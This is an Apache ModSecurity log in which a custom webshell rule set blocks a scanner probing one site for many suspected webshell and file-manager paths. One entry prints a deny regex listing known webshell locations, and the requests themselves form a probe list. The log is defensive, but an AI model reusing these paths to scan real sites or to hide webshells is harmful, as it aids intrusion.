[Fri Feb 13 18:58:20.850359 2026] [:error] [pid 49335:tid 49343] [client 51.103.136.17:43549] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aY8DzKp--SFY2nwOiqlfFAAAAMY"]
[Fri Feb 13 18:58:21.324088 2026] [:error] [pid 47080:tid 47090] [client 51.103.136.17:36304] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aY8DzUbWJwYCVF39z6szKgAAAcI"]
[Fri Feb 13 18:58:21.794031 2026] [:error] [pid 46821:tid 46839] [client 51.103.136.17:50323] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aY8DzY6G1N5YSq0J0gcH6wAAAVA"]
[Fri Feb 13 18:58:22.276212 2026] [:error] [pid 46821:tid 46840] [client 51.103.136.17:20726] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aY8Dzo6G1N5YSq0J0gcH7AAAAVE"]
[Fri Feb 13 18:58:22.759354 2026] [:error] [pid 49223:tid 49251] [client 51.103.136.17:51030] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aY8Dzh8A_fZBamNLnfVMfgAAABM"]
[Fri Feb 13 18:58:23.230394 2026] [:error] [pid 46821:tid 46834] [client 51.103.136.17:21821] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aY8Dz46G1N5YSq0J0gcH7gAAAUs"]
[Fri Feb 13 18:58:23.712676 2026] [:error] [pid 46821:tid 46830] [client 51.103.136.17:56341] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aY8Dz46G1N5YSq0J0gcH7wAAAUc"]
[Fri Feb 13 18:58:24.187981 2026] [:error] [pid 46821:tid 46843] [client 51.103.136.17:54322] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aY8D0I6G1N5YSq0J0gcH8AAAAVQ"]
[Fri Feb 13 18:58:24.669405 2026] [:error] [pid 46821:tid 46842] [client 51.103.136.17:54272] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ov.php"] [unique_id "aY8D0I6G1N5YSq0J0gcH8gAAAVM"]
[Fri Feb 13 18:58:25.140999 2026] [:error] [pid 47080:tid 47098] [client 51.103.136.17:45336] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ov.php"] [unique_id "aY8D0UbWJwYCVF39z6szMAAAAco"]
[Fri Feb 13 18:58:25.613502 2026] [:error] [pid 47575:tid 47581] [client 51.103.136.17:56363] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ov.php"] [unique_id "aY8D0QIPBuXb07mA_mS72wAAAsI"]
[Fri Feb 13 18:58:26.085137 2026] [:error] [pid 47575:tid 47596] [client 51.103.136.17:36328] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ov.php"] [unique_id "aY8D0gIPBuXb07mA_mS73QAAAs8"]
[Fri Feb 13 18:58:26.556741 2026] [:error] [pid 46821:tid 46838] [client 51.103.136.17:26777] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aY8D0o6G1N5YSq0J0gcH9QAAAU8"]
[Fri Feb 13 18:58:27.036950 2026] [:error] [pid 47143:tid 47230] [client 51.103.136.17:36362] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aY8D08hV30NbMarHJLs5agAAAlA"]
[Fri Feb 13 18:58:27.511670 2026] [:error] [pid 46821:tid 46828] [client 51.103.136.17:45319] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aY8D046G1N5YSq0J0gcH9gAAAUU"]
[Fri Feb 13 18:58:28.040414 2026] [:error] [pid 47358:tid 47383] [client 51.103.136.17:44944] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aY8D1MQFBuVVUQTESUwHiwAAApE"]
[Fri Feb 13 18:58:28.516435 2026] [:error] [pid 49225:tid 49303] [client 51.103.136.17:42199] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aY8D1DwH8-zGxtAd3jv9fgAAAIk"]
[Fri Feb 13 18:58:29.001005 2026] [:error] [pid 47080:tid 47106] [client 51.103.136.17:51059] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aY8D1EbWJwYCVF39z6szNAAAAdI"]
[Fri Feb 13 18:58:29.482250 2026] [:error] [pid 47358:tid 47378] [client 51.103.136.17:20731] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aY8D1cQFBuVVUQTESUwHkQAAAow"]
[Fri Feb 13 18:58:29.962161 2026] [:error] [pid 49223:tid 49253] [client 51.103.136.17:35836] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aY8D1R8A_fZBamNLnfVMhwAAABU"]
[Fri Feb 13 18:58:30.434335 2026] [:error] [pid 47575:tid 47587] [client 51.103.136.17:5672] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aY8D1gIPBuXb07mA_mS74QAAAsc"]
[Fri Feb 13 18:58:30.905624 2026] [:error] [pid 47080:tid 47111] [client 51.103.136.17:43539] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aY8D1kbWJwYCVF39z6szNgAAAdc"]
[Fri Feb 13 18:58:31.381686 2026] [:error] [pid 18097:tid 18118] [client 51.103.136.17:23725] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aY8D13FzYiQ_BfaDDlYh-QAAAZM"]
[Fri Feb 13 18:58:31.855285 2026] [:error] [pid 47143:tid 47229] [client 51.103.136.17:5328] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aY8D18hV30NbMarHJLs5cAAAAk8"]
[Fri Feb 13 18:58:32.333028 2026] [:error] [pid 18097:tid 18114] [client 51.103.136.17:42179] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aY8D2HFzYiQ_BfaDDlYh-gAAAY8"]
[Fri Feb 13 18:58:32.806102 2026] [:error] [pid 51243:tid 51267] [client 51.103.136.17:48690] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aY8D2Mim7ZTAHzi7xZvB9wAAARY"]
[Fri Feb 13 18:58:33.276518 2026] [:error] [pid 49225:tid 49311] [client 51.103.136.17:45999] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aY8D2TwH8-zGxtAd3jv9iwAAAJE"]
[Fri Feb 13 18:58:33.762146 2026] [:error] [pid 47080:tid 47095] [client 51.103.136.17:44526] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aY8D2UbWJwYCVF39z6szOwAAAcc"]
[Fri Feb 13 18:58:38.975837 2026] [:error] [pid 49223:tid 49251] [client 51.103.136.17:58242] [client 51.103.136.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "aY8D3h8A_fZBamNLnfVMpgAAABM"]
[Fri Feb 13 18:58:40.929752 2026] [:error] [pid 47143:tid 47186] [client 51.103.136.17:20643] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aY8D4MhV30NbMarHJLs5fAAAAkE"]
[Fri Feb 13 18:58:41.413917 2026] [:error] [pid 18097:tid 18111] [client 51.103.136.17:50367] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aY8D4XFzYiQ_BfaDDlYiAwAAAYw"]
[Fri Feb 13 18:58:41.890278 2026] [:error] [pid 47143:tid 47232] [client 51.103.136.17:24321] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aY8D4chV30NbMarHJLs5fwAAAlI"]
[Fri Feb 13 18:58:42.363871 2026] [:error] [pid 49225:tid 49301] [client 51.103.136.17:24331] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aY8D4jwH8-zGxtAd3jv9kQAAAIc"]
[Fri Feb 13 18:58:42.842947 2026] [:error] [pid 47080:tid 47094] [client 51.103.136.17:25593] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aY8D4kbWJwYCVF39z6szVAAAAcY"]
[Fri Feb 13 18:58:43.364494 2026] [:error] [pid 47080:tid 47099] [client 51.103.136.17:39330] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aY8D40bWJwYCVF39z6szVgAAAcs"]
[Fri Feb 13 18:58:43.835267 2026] [:error] [pid 51243:tid 51265] [client 51.103.136.17:43580] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aY8D48im7ZTAHzi7xZvB_gAAARQ"]
[Fri Feb 13 18:58:44.308225 2026] [:error] [pid 46821:tid 46832] [client 51.103.136.17:45954] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aY8D5I6G1N5YSq0J0gcIAwAAAUk"]
[Fri Feb 13 18:58:44.790759 2026] [:error] [pid 49335:tid 49356] [client 51.103.136.17:23719] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aY8D5Kp--SFY2nwOiqlfJQAAANM"]
[Fri Feb 13 18:58:45.265605 2026] [:error] [pid 47143:tid 47228] [client 51.103.136.17:60703] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aY8D5chV30NbMarHJLs5ggAAAk4"]
[Fri Feb 13 18:58:45.738679 2026] [:error] [pid 49335:tid 49342] [client 51.103.136.17:33888] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aY8D5ap--SFY2nwOiqlfKAAAAMU"]
[Fri Feb 13 18:58:46.211145 2026] [:error] [pid 49335:tid 49357] [client 51.103.136.17:21857] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aY8D5qp--SFY2nwOiqlfKQAAANQ"]
[Fri Feb 13 18:58:46.684579 2026] [:error] [pid 47143:tid 47217] [client 51.103.136.17:18093] [client 51.103.136.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aY8D5shV30NbMarHJLs5hQAAAkM"]
[Fri Feb 13 18:58:47.160578 2026] [:error] [pid 47080:tid 47092] [client 51.103.136.17:5272] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xfile25.php"] [unique_id "aY8D50bWJwYCVF39z6szXgAAAcQ"]
[Fri Feb 13 18:58:47.632251 2026] [:error] [pid 47080:tid 47112] [client 51.103.136.17:46681] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xfile25.php"] [unique_id "aY8D50bWJwYCVF39z6szYgAAAdg"]
[Fri Feb 13 18:58:48.104907 2026] [:error] [pid 49335:tid 49343] [client 51.103.136.17:48645] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xfile25.php"] [unique_id "aY8D6Kp--SFY2nwOiqlfKgAAAMY"]
[Fri Feb 13 18:58:48.585494 2026] [:error] [pid 47358:tid 47371] [client 51.103.136.17:26792] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xfile25.php"] [unique_id "aY8D6MQFBuVVUQTESUwHvAAAAoY"]
[Fri Feb 13 18:58:49.056994 2026] [:error] [pid 46821:tid 46842] [client 51.103.136.17:43248] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aY8D6Y6G1N5YSq0J0gcIDgAAAVM"]
[Fri Feb 13 18:58:49.532960 2026] [:error] [pid 46821:tid 46828] [client 51.103.136.17:29541] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aY8D6Y6G1N5YSq0J0gcIEwAAAUU"]
[Fri Feb 13 18:58:50.003733 2026] [:error] [pid 49335:tid 49349] [client 51.103.136.17:50971] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aY8D6qp--SFY2nwOiqlfLQAAAMw"]
[Fri Feb 13 18:58:50.477987 2026] [:error] [pid 49335:tid 49340] [client 51.103.136.17:43636] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aY8D6qp--SFY2nwOiqlfLgAAAMM"]
[Fri Feb 13 18:58:50.953065 2026] [:error] [pid 47143:tid 47226] [client 51.103.136.17:18153] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aY8D6shV30NbMarHJLs5hgAAAkw"]
[Fri Feb 13 18:58:51.427031 2026] [:error] [pid 47358:tid 47386] [client 51.103.136.17:5343] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aY8D68QFBuVVUQTESUwHvwAAApQ"]
[Fri Feb 13 18:58:51.900441 2026] [:error] [pid 46821:tid 46823] [client 51.103.136.17:49275] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aY8D646G1N5YSq0J0gcIGgAAAUA"]
[Fri Feb 13 18:58:52.375136 2026] [:error] [pid 47080:tid 47098] [client 51.103.136.17:30154] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "aY8D7EbWJwYCVF39z6szcgAAAco"]
[Fri Feb 13 18:58:52.849501 2026] [:error] [pid 49225:tid 49312] [client 51.103.136.17:22406] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/muzu.php"] [unique_id "aY8D7DwH8-zGxtAd3jv9mQAAAJI"]
